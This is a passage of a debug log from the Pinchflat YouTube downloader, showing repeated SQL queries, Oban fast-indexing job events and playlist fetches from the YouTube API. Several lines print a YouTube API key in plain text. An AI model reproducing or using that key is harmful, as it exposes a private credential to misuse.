db=0.1ms idle=721.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:07:40.600 [debug] QUERY OK source="settings" db=0.0ms idle=721.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:40.600 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:40.600 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:40.600 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:40.600 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:40.600 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:07:40.600 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:40.600 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:07:40.600 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:40.600 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:40.600 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:40.600 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:40.687 [debug] QUERY OK source="media_items" db=0.6ms idle=86.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 17:07:40.690 [debug] QUERY OK source="media_items" db=2.3ms idle=87.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:07:40.691 [debug] QUERY OK source="tasks" db=0.1ms idle=90.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800144, 10, ~U[2026-02-10 23:07:40Z], ~U[2026-02-10 23:07:40Z]] 17:07:40.691 [info] {"args":{"id":10},"id":3800105,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91939,"event":"job:stop","queue_time":501151,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:40.853 [debug] QUERY OK source="media_items" db=0.8ms idle=161.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:07:40.855 [debug] QUERY OK source="media_items" db=0.9ms idle=163.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:07:40.856 [debug] QUERY OK source="tasks" db=0.1ms idle=158.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800145, 34, ~U[2026-02-10 23:07:40Z], ~U[2026-02-10 23:07:40Z]] 17:07:40.856 [info] {"args":{"id":34},"id":3800106,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":256535,"event":"job:stop","queue_time":304132,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:41.601 [info] {"args":{"id":9},"id":3800107,"meta":{},"system_time":1770764861601841853,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:41.602 [info] {"args":{"id":8},"id":3800108,"meta":{},"system_time":1770764861601907373,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:41.602 [debug] QUERY OK source="sources" db=0.3ms idle=745.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:07:41.602 [debug] QUERY OK source="sources" db=0.3ms idle=745.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:07:41.602 [debug] QUERY OK source="settings" db=0.1ms idle=739.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:41.602 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:41.602 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:41.602 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:41.603 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:41.603 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:07:41.603 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:41.603 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:07:41.603 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:41.603 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:41.603 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:41.603 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:41.766 [debug] QUERY OK source="media_items" db=0.8ms idle=162.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 17:07:41.767 [debug] QUERY OK source="media_items" db=0.6ms idle=164.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:07:41.768 [debug] QUERY OK source="tasks" db=0.1ms idle=165.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800146, 9, ~U[2026-02-10 23:07:41Z], ~U[2026-02-10 23:07:41Z]] 17:07:41.768 [info] {"args":{"id":9},"id":3800107,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":166754,"event":"job:stop","queue_time":514509,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:41.907 [debug] QUERY OK source="media_items" db=0.7ms idle=138.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:07:41.908 [debug] QUERY OK source="media_items" db=0.4ms idle=139.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:07:41.909 [debug] QUERY OK source="tasks" db=0.1ms idle=134.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800147, 8, ~U[2026-02-10 23:07:41Z], ~U[2026-02-10 23:07:41Z]] 17:07:41.909 [info] {"args":{"id":8},"id":3800108,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":307234,"event":"job:stop","queue_time":440467,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:46.606 [info] {"args":{"id":40},"id":3800109,"meta":{},"system_time":1770764866606691890,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:46.606 [debug] QUERY OK source="sources" db=0.1ms idle=728.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 17:07:46.607 [debug] QUERY OK source="settings" db=0.1ms idle=728.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" 